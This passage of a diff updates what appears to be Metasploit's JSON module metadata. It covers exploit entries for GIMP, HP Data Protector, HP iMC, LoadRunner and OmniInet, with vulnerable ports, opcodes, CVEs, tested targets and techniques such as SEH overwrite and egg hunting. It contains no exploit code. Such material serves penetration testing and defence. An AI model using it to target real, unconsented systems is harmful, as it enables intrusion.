+ "autofilter_ports": [], + "autofilter_services": [], "targets": [ "GIMP 2.6.10 (no DEP) / Windows XP SP3 / Windows 7 SP1", "GIMP 2.6.1 (no DEP) / Windows XP SP3 / Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/gimp_script_fu.rb", "is_install_path": true, "ref_name": "windows/misc/gimp_script_fu", @@ -186347,6 +191378,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186354,9 +191394,7 @@ "exploit_windows/misc/hp_dataprotector_cmd_exec": { "name": "HP Data Protector 8.10 Remote Command Execution", "fullname": "exploit/windows/misc/hp_dataprotector_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-11-02", "type": "exploit", @@ -186365,7 +191403,7 @@ "Henoch Barrera", "Matthew Hall " ], - "description": "This module exploits a remote command execution on HP Data Protector 8.10. Arbitrary\n commands can be executed by sending crafted requests with opcode 28 to the OmniInet\n service listening on the TCP/5555 port. Since there is a strict length limitation on\n the command, rundll32.exe is executed, and the payload is provided through a DLL by a\n fake SMB server. This module has been tested successfully on HP Data Protector 8.1 on\n Windows 7 SP1.", + "description": "This module exploits a remote command execution on HP Data Protector 8.10. Arbitrary\n commands can be executed by sending crafted requests with opcode 28 to the OmniInet\n service listening on the TCP/5555 port. Since there is a strict length limitation on\n the command, rundll32.exe is executed, and the payload is provided through a DLL by a\n fake SMB server. This module has been tested successfully on HP Data Protector 8.1 on\n Windows 7 SP1.", "references": [ "CVE-2014-2623", "OSVDB-109069", @@ -186375,16 +191413,12 @@ "platform": "Windows", "arch": "x86, x64", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector 8.10 / Windows" ], - "mod_time": "2022-02-15 18:03:13 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb", "is_install_path": true, "ref_name": "windows/misc/hp_dataprotector_cmd_exec", @@ -186392,6 +191426,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186399,9 +191442,7 @@ "exploit_windows/misc/hp_dataprotector_crs": { "name": "HP Data Protector Cell Request Service Buffer Overflow", "fullname": "exploit/windows/misc/hp_dataprotector_crs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-03", "type": "exploit", @@ -186409,7 +191450,7 @@ "e6af8de8b1d4b2b6d5ba2610cbf9cd38", "juan vazquez " ], - "description": "This module exploits a stack-based buffer overflow in the Hewlett-Packard Data Protector\n product. The vulnerability, due to the insecure usage of _swprintf, exists at the Cell\n Request Service (crs.exe) when parsing packets with opcode 211. This module has been tested\n successfully on HP Data Protector 6.20 and 7.00 on Windows XP SP3.", + "description": "This module exploits a stack-based buffer overflow in the Hewlett-Packard Data Protector\n product. The vulnerability, due to the insecure usage of _swprintf, exists at the Cell\n Request Service (crs.exe) when parsing packets with opcode 211. This module has been tested\n successfully on HP Data Protector 6.20 and 7.00 on Windows XP SP3.", "references": [ "CVE-2013-2333", "OSVDB-93867", @@ -186419,18 +191460,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "HP Data Protector 6.20 build 370 / Windows XP SP3", "HP Data Protector 7.00 build 72 / Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_dataprotector_crs.rb", "is_install_path": true, "ref_name": "windows/misc/hp_dataprotector_crs", @@ -186438,6 +191475,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186445,9 +191491,7 @@ "exploit_windows/misc/hp_dataprotector_dtbclslogin": { "name": "HP Data Protector DtbClsLogin Buffer Overflow", "fullname": "exploit/windows/misc/hp_dataprotector_dtbclslogin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-09-09", "type": "exploit", @@ -186455,7 +191499,7 @@ "AbdulAziz Hariri", "juan vazquez " ], - "description": "This module exploits a stack buffer overflow in HP Data Protector 4.0 SP1. The\n overflow occurs during the login process, in the DtbClsLogin function provided by\n the dpwindtb.dll component, where the Utf8Cpy (strcpy like function) is used in an\n insecure way with the username. A successful exploitation will lead to code execution\n with the privileges of the \"dpwinsdr.exe\" (HP Data Protector Express Domain Server\n Service) process, which runs as SYSTEM by default.", + "description": "This module exploits a stack buffer overflow in HP Data Protector 4.0 SP1. The\n overflow occurs during the login process, in the DtbClsLogin function provided by\n the dpwindtb.dll component, where the Utf8Cpy (strcpy like function) is used in an\n insecure way with the username. A successful exploitation will lead to code execution\n with the privileges of the \"dpwinsdr.exe\" (HP Data Protector Express Domain Server\n Service) process, which runs as SYSTEM by default.", "references": [ "CVE-2010-3007", "OSVDB-67973", @@ -186466,16 +191510,12 @@ "platform": "Windows", "arch": "", "rport": 3817, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector Express 4.0 SP1 (build 43064) / Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb", "is_install_path": true, "ref_name": "windows/misc/hp_dataprotector_dtbclslogin", @@ -186483,6 +191523,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186490,9 +191539,7 @@ "exploit_windows/misc/hp_dataprotector_encrypted_comms": { "name": "HP Data Protector Encrypted Communication Remote Command Execution", "fullname": "exploit/windows/misc/hp_dataprotector_encrypted_comms", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-04-18", "type": "exploit", @@ -186500,7 +191547,7 @@ "Jon Barg", "Ian Lovering" ], - "description": "This module exploits a well known remote code execution exploit after establishing encrypted\n control communications with a Data Protector agent. This allows exploitation of Data\n Protector agents that have been configured to only use encrypted control communications.\n\n This exploit works by executing the payload with Microsoft PowerShell so will only work\n against Windows Vista or newer. Tested against Data Protector 9.0 installed on Windows\n Server 2008 R2.", + "description": "This module exploits a well known remote code execution exploit after establishing encrypted\n control communications with a Data Protector agent. This allows exploitation of Data\n Protector agents that have been configured to only use encrypted control communications.\n\n This exploit works by executing the payload with Microsoft PowerShell so will only work\n against Windows Vista or newer. Tested against Data Protector 9.0 installed on Windows\n Server 2008 R2.", "references": [ "CVE-2016-2004", "URL-http://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05085988" @@ -186508,16 +191555,12 @@ "platform": "Windows", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_dataprotector_encrypted_comms.rb", "is_install_path": true, "ref_name": "windows/misc/hp_dataprotector_encrypted_comms", @@ -186525,6 +191568,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186532,9 +191584,7 @@ "exploit_windows/misc/hp_dataprotector_exec_bar": { "name": "HP Data Protector Backup Client Service Remote Code Execution", "fullname": "exploit/windows/misc/hp_dataprotector_exec_bar", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-01-02", "type": "exploit", @@ -186542,7 +191592,7 @@ "Aniway.Anyway ", "juan vazquez " ], - "description": "This module abuses the Backup Client Service (OmniInet.exe) to achieve remote code\n execution. The vulnerability exists in the EXEC_BAR operation, which allows to\n execute arbitrary processes. This module has been tested successfully on HP Data\n Protector 6.20 on Windows 2003 SP2 and Windows 2008 R2.", + "description": "This module abuses the Backup Client Service (OmniInet.exe) to achieve remote code\n execution. The vulnerability exists in the EXEC_BAR operation, which allows to\n execute arbitrary processes. This module has been tested successfully on HP Data\n Protector 6.20 on Windows 2003 SP2 and Windows 2008 R2.", "references": [ "CVE-2013-2347", "BID-64647", @@ -186553,17 +191603,13 @@ "platform": "Windows", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector 6.20 build 370 / VBScript CMDStager", "HP Data Protector 6.20 build 370 / Powershell" ], - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb", "is_install_path": true, "ref_name": "windows/misc/hp_dataprotector_exec_bar", @@ -186571,6 +191617,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186578,16 +191633,14 @@ "exploit_windows/misc/hp_dataprotector_install_service": { "name": "HP Data Protector 6.10/6.11/6.20 Install Service", "fullname": "exploit/windows/misc/hp_dataprotector_install_service", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-11-02", "type": "exploit", "author": [ "Ben Turner" ], - "description": "This module exploits HP Data Protector OmniInet process on Windows only.\n This exploit invokes the install service function which allows an attacker to create a\n custom payload in the format of an executable.\n\n To ensure this works, the SMB server created in MSF must have a share called Omniback\n which has a subfolder i386, i.e. \\\\192.168.1.1\\Omniback\\i386\\", + "description": "This module exploits HP Data Protector OmniInet process on Windows only.\n This exploit invokes the install service function which allows an attacker to create a\n custom payload in the format of an executable.\n\n To ensure this works, the SMB server created in MSF must have a share called Omniback\n which has a subfolder i386, i.e. \\192.168.1.1\\Omniback\\i386\\", "references": [ "CVE-2011-0922", "URL-http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143" @@ -186595,16 +191648,12 @@ "platform": "Windows", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector 6.10/6.11/6.20 / Windows" ], - "mod_time": "2022-05-11 12:40:43 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_dataprotector_install_service.rb", "is_install_path": true, "ref_name": "windows/misc/hp_dataprotector_install_service", @@ -186612,6 +191661,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186619,9 +191677,7 @@ "exploit_windows/misc/hp_dataprotector_new_folder": { "name": "HP Data Protector Create New Folder Buffer Overflow", "fullname": "exploit/windows/misc/hp_dataprotector_new_folder", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-12", "type": "exploit", @@ -186629,7 +191685,7 @@ "juan vazquez ", "sinn3r " ], - "description": "This module exploits a stack buffer overflow in HP Data Protector 5. The overflow\n occurs in the creation of new folders, where the name of the folder is handled in a\n insecure way by the dpwindtb.dll component. While the overflow occurs in the stack, the\n folder name is split in fragments in this insecure copy. Because of this, this module\n uses egg hunting to search a non corrupted copy of the payload in the heap. On the other\n hand the overflowed buffer is stored in a frame protected by stack cookies, because of\n this SEH handler overwrite is used.\n\n Any user of HP Data Protector Express is able to create new folders and trigger the\n vulnerability. Moreover, in the default installation the 'Admin' user has an empty\n password. Successful exploitation will lead to code execution with the privileges of\n the \"dpwinsdr.exe\" (HP Data Protector Express Domain Server Service) process, which\n runs as SYSTEM by default.", + "description": "This module exploits a stack buffer overflow in HP Data Protector 5. The overflow\n occurs in the creation of new folders, where the name of the folder is handled in a\n insecure way by the dpwindtb.dll component. While the overflow occurs in the stack, the\n folder name is split in fragments in this insecure copy. Because of this, this module\n uses egg hunting to search a non corrupted copy of the payload in the heap. On the other\n hand the overflowed buffer is stored in a frame protected by stack cookies, because of\n this SEH handler overwrite is used.\n\n Any user of HP Data Protector Express is able to create new folders and trigger the\n vulnerability. Moreover, in the default installation the 'Admin' user has an empty\n password. Successful exploitation will lead to code execution with the privileges of\n the \"dpwinsdr.exe\" (HP Data Protector Express Domain Server Service) process, which\n runs as SYSTEM by default.", "references": [ "CVE-2012-0124", "OSVDB-80105", @@ -186639,17 +191695,13 @@ "platform": "Windows", "arch": "", "rport": 3817, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector Express 6.0.00.11974 / Windows XP SP3", "HP Data Protector Express 5.0.00.59287 / Windows XP SP3" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb", "is_install_path": true, "ref_name": "windows/misc/hp_dataprotector_new_folder", @@ -186657,6 +191709,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186664,9 +191725,7 @@ "exploit_windows/misc/hp_dataprotector_traversal": { "name": "HP Data Protector Backup Client Service Directory Traversal", "fullname": "exploit/windows/misc/hp_dataprotector_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-01-02", "type": "exploit", @@ -186674,7 +191733,7 @@ "Brian Gorenc", "juan vazquez " ], - "description": "This module exploits a directory traversal vulnerability in the Hewlett-Packard Data\n Protector product. The vulnerability exists in the Backup Client Service (OmniInet.exe)\n and is triggered when parsing packets with opcode 42. This module has been tested\n successfully on HP Data Protector 6.20 on Windows 2003 SP2 and Windows XP SP3.", + "description": "This module exploits a directory traversal vulnerability in the Hewlett-Packard Data\n Protector product. The vulnerability exists in the Backup Client Service (OmniInet.exe)\n and is triggered when parsing packets with opcode 42. This module has been tested\n successfully on HP Data Protector 6.20 on Windows 2003 SP2 and Windows XP SP3.", "references": [ "CVE-2013-6194", "OSVDB-101630", @@ -186685,16 +191744,12 @@ "platform": "Windows", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector 6.20 build 370 / Windows 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_dataprotector_traversal.rb", "is_install_path": true, "ref_name": "windows/misc/hp_dataprotector_traversal", @@ -186702,6 +191757,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -186709,9 +191773,7 @@ "exploit_windows/misc/hp_imc_dbman_restartdb_unauth_rce": { "name": "HPE iMC dbman RestartDB Unauthenticated RCE", "fullname": "exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-15", "type": "exploit", @@ -186720,7 +191782,7 @@ "Chris Lyne", "bcoles " ], - "description": "This module exploits a remote command execution vulnerablity in\n Hewlett Packard Enterprise Intelligent Management Center before\n version 7.3 E0504P04.\n\n The dbman service allows unauthenticated remote users to restart\n a user-specified database instance (OpCode 10008), however the\n instance ID is not sanitized, allowing execution of arbitrary\n operating system commands as SYSTEM. This service listens on\n TCP port 2810 by default.\n\n This module has been tested successfully on iMC PLAT v7.2 (E0403)\n on Windows 7 SP1 (EN).", + "description": "This module exploits a remote command execution vulnerablity in\n Hewlett Packard Enterprise Intelligent Management Center before\n version 7.3 E0504P04.\n\n The dbman service allows unauthenticated remote users to restart\n a user-specified database instance (OpCode 10008), however the\n instance ID is not sanitized, allowing execution of arbitrary\n operating system commands as SYSTEM. This service listens on\n TCP port 2810 by default.\n\n This module has been tested successfully on iMC PLAT v7.2 (E0403)\n on Windows 7 SP1 (EN).", "references": [ "CVE-2017-5816", "EDB-43198", @@ -186731,16 +191793,12 @@ "platform": "Windows", "arch": "", "rport": 2810, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_imc_dbman_restartdb_unauth_rce.rb", "is_install_path": true, "ref_name": "windows/misc/hp_imc_dbman_restartdb_unauth_rce", @@ -186748,6 +191806,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186755,9 +191822,7 @@ "exploit_windows/misc/hp_imc_dbman_restoredbase_unauth_rce": { "name": "HPE iMC dbman RestoreDBase Unauthenticated RCE", "fullname": "exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-15", "type": "exploit", @@ -186766,7 +191831,7 @@ "Chris Lyne", "bcoles " ], - "description": "This module exploits a remote command execution vulnerablity in\n Hewlett Packard Enterprise Intelligent Management Center before\n version 7.3 E0504P04.\n\n The dbman service allows unauthenticated remote users to restore\n a user-specified database (OpCode 10007), however the database\n connection username is not sanitized resulting in command injection,\n allowing execution of arbitrary operating system commands as SYSTEM.\n This service listens on TCP port 2810 by default.\n\n This module has been tested successfully on iMC PLAT v7.2 (E0403)\n on Windows 7 SP1 (EN).", + "description": "This module exploits a remote command execution vulnerablity in\n Hewlett Packard Enterprise Intelligent Management Center before\n version 7.3 E0504P04.\n\n The dbman service allows unauthenticated remote users to restore\n a user-specified database (OpCode 10007), however the database\n connection username is not sanitized resulting in command injection,\n allowing execution of arbitrary operating system commands as SYSTEM.\n This service listens on TCP port 2810 by default.\n\n This module has been tested successfully on iMC PLAT v7.2 (E0403)\n on Windows 7 SP1 (EN).", "references": [ "CVE-2017-5817", "EDB-43195", @@ -186777,16 +191842,12 @@ "platform": "Windows", "arch": "", "rport": 2810, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_imc_dbman_restoredbase_unauth_rce.rb", "is_install_path": true, "ref_name": "windows/misc/hp_imc_dbman_restoredbase_unauth_rce", @@ -186794,6 +191855,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186801,9 +191871,7 @@ "exploit_windows/misc/hp_imc_uam": { "name": "HP Intelligent Management Center UAM Buffer Overflow", "fullname": "exploit/windows/misc/hp_imc_uam", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-08-29", "type": "exploit", @@ -186812,7 +191880,7 @@ "sinn3r ", "juan vazquez " ], - "description": "This module exploits a remote buffer overflow in HP Intelligent Management Center\n UAM. The vulnerability exists in the uam.exe component, when using sprint in a\n insecure way for logging purposes. The vulnerability can be triggered by sending a\n malformed packet to the 1811/UDP port. The module has been successfully tested on\n HP iMC 5.0 E0101 and UAM 5.0 E0102 over Windows Server 2003 SP2 (DEP bypass).", + "description": "This module exploits a remote buffer overflow in HP Intelligent Management Center\n UAM. The vulnerability exists in the uam.exe component, when using sprint in a\n insecure way for logging purposes. The vulnerability can be triggered by sending a\n malformed packet to the 1811/UDP port. The module has been successfully tested on\n HP iMC 5.0 E0101 and UAM 5.0 E0102 over Windows Server 2003 SP2 (DEP bypass).", "references": [ "CVE-2012-3274", "OSVDB-85060", @@ -186823,16 +191891,12 @@ "platform": "Windows", "arch": "", "rport": 1811, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP iMC 5.0 E0101 / UAM 5.0 E0102 on Windows 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_imc_uam.rb", "is_install_path": true, "ref_name": "windows/misc/hp_imc_uam", @@ -186840,6 +191904,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186847,9 +191920,7 @@ "exploit_windows/misc/hp_loadrunner_magentproc": { "name": "HP LoadRunner magentproc.exe Overflow", "fullname": "exploit/windows/misc/hp_loadrunner_magentproc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-07-27", "type": "exploit", @@ -186857,7 +191928,7 @@ "Unknown", "juan vazquez " ], - "description": "This module exploits a stack buffer overflow in HP LoadRunner before 11.52. The\n vulnerability exists on the LoadRunner Agent Process magentproc.exe. By sending\n a specially crafted packet, an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in HP LoadRunner before 11.52. The\n vulnerability exists on the LoadRunner Agent Process magentproc.exe. By sending\n a specially crafted packet, an attacker may be able to execute arbitrary code.", "references": [ "CVE-2013-4800", "OSVDB-95644", @@ -186866,16 +191937,12 @@ "platform": "Windows", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 / HP LoadRunner 11.50" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb", "is_install_path": true, "ref_name": "windows/misc/hp_loadrunner_magentproc", @@ -186883,6 +191950,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186890,9 +191966,7 @@ "exploit_windows/misc/hp_loadrunner_magentproc_cmdexec": { "name": "HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution", "fullname": "exploit/windows/misc/hp_loadrunner_magentproc_cmdexec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-05-06", "type": "exploit", @@ -186900,7 +191974,7 @@ "Unknown", "aushack " ], - "description": "This module exploits a remote command execution vulnerablity in HP LoadRunner before 9.50\n and also HP Performance Center before 9.50. HP LoadRunner 12.53 and other versions are\n also most likely vulneable if the (non-default) SSL option is turned off.\n By sending a specially crafted packet, an attacker can execute commands remotely.\n The service is vulnerable provided the Secure Channel feature is disabled (default).", + "description": "This module exploits a remote command execution vulnerablity in HP LoadRunner before 9.50\n and also HP Performance Center before 9.50. HP LoadRunner 12.53 and other versions are\n also most likely vulneable if the (non-default) SSL option is turned off.\n By sending a specially crafted packet, an attacker can execute commands remotely.\n The service is vulnerable provided the Secure Channel feature is disabled (default).", "references": [ "CVE-2010-1549", "ZDI-10-080", @@ -186910,16 +191984,12 @@ "platform": "Windows", "arch": "", "rport": 54345, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows (Dropper)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_loadrunner_magentproc_cmdexec.rb", "is_install_path": true, "ref_name": "windows/misc/hp_loadrunner_magentproc_cmdexec", @@ -186927,6 +191997,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186934,9 +192013,7 @@ "exploit_windows/misc/hp_magentservice": { "name": "HP Diagnostics Server magentservice.exe Overflow", "fullname": "exploit/windows/misc/hp_magentservice", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2012-01-12", "type": "exploit", @@ -186944,7 +192021,7 @@ "AbdulAziz Hariri", "hal" ], - "description": "This module exploits a stack buffer overflow in HP Diagnostics Server\n magentservice.exe service. By sending a specially crafted packet, an attacker\n may be able to execute arbitrary code. Originally found and posted by\n AbdulAziz Harir via ZDI.", + "description": "This module exploits a stack buffer overflow in HP Diagnostics Server\n magentservice.exe service. By sending a specially crafted packet, an attacker\n may be able to execute arbitrary code. Originally found and posted by\n AbdulAziz Harir via ZDI.", "references": [ "OSVDB-72815", "CVE-2011-4789", @@ -186953,16 +192030,12 @@ "platform": "Windows", "arch": "", "rport": 23472, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Diagnostics Server 9.10" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_magentservice.rb", "is_install_path": true, "ref_name": "windows/misc/hp_magentservice", @@ -186970,6 +192043,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186977,9 +192059,7 @@ "exploit_windows/misc/hp_omniinet_1": { "name": "HP OmniInet.exe MSG_PROTOCOL Buffer Overflow", "fullname": "exploit/windows/misc/hp_omniinet_1", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-17", "type": "exploit", @@ -186988,7 +192068,7 @@ "Fairuzan Roslan ", "jduck " ], - "description": "This module exploits a stack-based buffer overflow in the Hewlett-Packard\n OmniInet NT Service. By sending a specially crafted MSG_PROTOCOL (0x010b)\n packet, a remote attacker may be able to execute arbitrary code with elevated\n privileges.\n\n This service is installed with HP OpenView Data Protector, HP Application\n Recovery Manager and potentially other products. This exploit has been tested\n against versions 6.1, 6.0, and 5.50 of Data Protector. and versions 6.0 and 6.1\n of Application Recovery Manager.\n\n NOTE: There are actually two consecutive wcscpy() calls in the program (which\n may be why ZDI considered them two separate issues). However, this module only\n exploits the first one.", + "description": "This module exploits a stack-based buffer overflow in the Hewlett-Packard\n OmniInet NT Service. By sending a specially crafted MSG_PROTOCOL (0x010b)\n packet, a remote attacker may be able to execute arbitrary code with elevated\n privileges.\n\n This service is installed with HP OpenView Data Protector, HP Application\n Recovery Manager and potentially other products. This exploit has been tested\n against versions 6.1, 6.0, and 5.50 of Data Protector. and versions 6.0 and 6.1\n of Application Recovery Manager.\n\n NOTE: There are actually two consecutive wcscpy() calls in the program (which\n may be why ZDI considered them two separate issues). However, this module only\n exploits the first one.", "references": [ "CVE-2007-2280", "BID-37396", @@ -186998,12 +192078,8 @@ "platform": "Windows", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Targeting", "HP OpenView Storage Data Protector A.05.50: INET, internal build 330", @@ -187011,7 +192087,7 @@ "HP StorageWorks Application Recovery Manager A.06.00: INET, internal build 81", "HP Application Recovery Manager software A.06.10: INET, internal build 282" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_omniinet_1.rb", "is_install_path": true, "ref_name": "windows/misc/hp_omniinet_1", @@ -187019,6 +192095,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -187026,9 +192111,7 @@ "exploit_windows/misc/hp_omniinet_2": { "name": "HP OmniInet.exe MSG_PROTOCOL Buffer Overflow", "fullname": "exploit/windows/misc/hp_omniinet_2", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-17", "type": "exploit", @@ -187037,7 +192120,7 @@ "Fairuzan Roslan ", "jduck " ], - "description": "This module exploits a stack-based buffer overflow in the Hewlett-Packard\n OmniInet NT Service. By sending a specially crafted MSG_PROTOCOL (0x010b)\n packet, a remote attacker may be able to execute arbitrary code with elevated\n privileges.\n\n This service is installed with HP OpenView Data Protector, HP Application\n Recovery Manager and potentially other products. This exploit has been tested\n against versions 6.1, 6.0, and 5.50 of Data Protector. and versions 6.0 and 6.1\n of Application Recovery Manager.\n\n NOTE: There are actually two 